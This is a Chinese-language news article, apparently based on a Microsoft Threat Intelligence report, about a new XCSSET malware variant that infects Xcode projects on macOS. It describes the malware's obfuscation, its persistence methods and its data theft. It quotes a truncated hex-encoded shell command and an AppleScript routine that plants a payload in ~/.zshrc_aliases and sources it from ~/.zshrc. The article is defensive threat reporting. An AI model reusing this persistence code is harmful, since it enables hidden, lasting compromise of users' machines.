新型XCSSET恶意软件利用增强混淆技术攻击macOS用户

发布于:2025-03-14 ⋅ 阅读:(9) ⋅ 点赞:(0)

image

微软威胁情报团队发现了一种新型的XCSSET变种,这是一种复杂的模块化macOS恶意软件,能够感染Xcode项目,并在开发者构建这些项目时执行。

这是自2022年以来的首个已知XCSSET变种,采用了增强的混淆方法、更新的持久化机制以及新的感染策略,旨在窃取macOS用户的敏感信息。

恶意软件的感染策略

该恶意软件的感染策略利用了开发者在开发与Apple或macOS相关的应用程序时共享项目文件的方式。新型XCSSET变种采用了模块化的方式,其有效载荷经过深度编码,并改进了错误处理机制。

为了在受感染设备上保持低调并尽可能保持无文件状态,该恶意软件广泛使用脚本语言、UNIX命令和合法二进制文件,这使得检测和清除变得极具挑战性。在代码层面,恶意软件对模块名称进行混淆,以阻碍静态分析,并采用随机化方法生成有效载荷。

与之前的变种仅依赖xxd(hexdump)进行编码不同,最新版本还引入了Base64编码技术。

持久化技术

该恶意软件采用了三种不同的持久化技术,确保其有效载荷在以下情况下启动:新shell会话开始、用户打开伪造的Launchpad应用程序或开发者在Git中提交更改。

微软研究人员指出,感染链由四个阶段组成,首先是构建受感染的Xcode项目时运行的混淆shell有效载荷。

混淆的第一阶段 shell payload(来源 – Microsoft)

第一阶段的有效载荷在被传输到 shell 之前,会经过多次十六进制解码迭代:

sh -c"(echo  33336363233343633335233303536

在初始感染之后,该恶意软件会从其命令与控制服务器(C2)下载额外的模块,其中包括能够窃取系统信息、浏览器扩展数据、数字钱包信息以及来自 “备忘录” 应用程序的笔记内容的组件。

该恶意软件通过几种复杂的方法来实现驻留。其中一种方法是修改~/.zshrc 文件,以便在每次启动新的 shell 会话时执行恶意代码。

.zshrc 驻留方法(来源:微软)

恶意软件在利用.zshrc 文件驻留时,会先检查是否存在恢复标志,然后根据标志决定是删除恶意文件,还是创建并更新它:

on doMain()
    try
        if RESTORE_DEFAULT is true then
            do shell script "rm -f ~/.zshrc_aliases"
            log ".zshrc_aliases removed"
        else
            set payload to getPayloadBody("Terminal")
            set payload to quoted form of payload
            do shell script "echo " & payload & " > ~/.zshrc_aliases"
            log ".zshrc_aliases updated"
            set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases"
            set payload to quoted form of payload
            do shell script "touch ~/.zshrc"
            do shell script "grep -qF '.zshrc_aliases' ~/.zshrc || echo " & payload & " >> ~/.zshrc"
            log ".zshrc done"
        end if
    on error the errorMessage
        log "failed at .zshrc: " & errorMessage
        return
    end try
end doMain

另一种驻留手段是创建一个伪装成启动台的恶意应用,只要用户试图打开真正的启动台,这个伪装应用就会执行恶意代码。

此外,恶意软件还会通过修改 Git 仓库的预提交钩子,在开发者提交更改时执行有效载荷,从而感染 Git 仓库。

微软建议用户及时更新到最新版本的操作系统,在使用 Xcode 项目时仔细检查,同时启用微软端点防护软件(Microsoft Defender for Endpoint)等安全防护工具,这些工具能够检测并隔离该恶意软件变种,有效保护系统安全。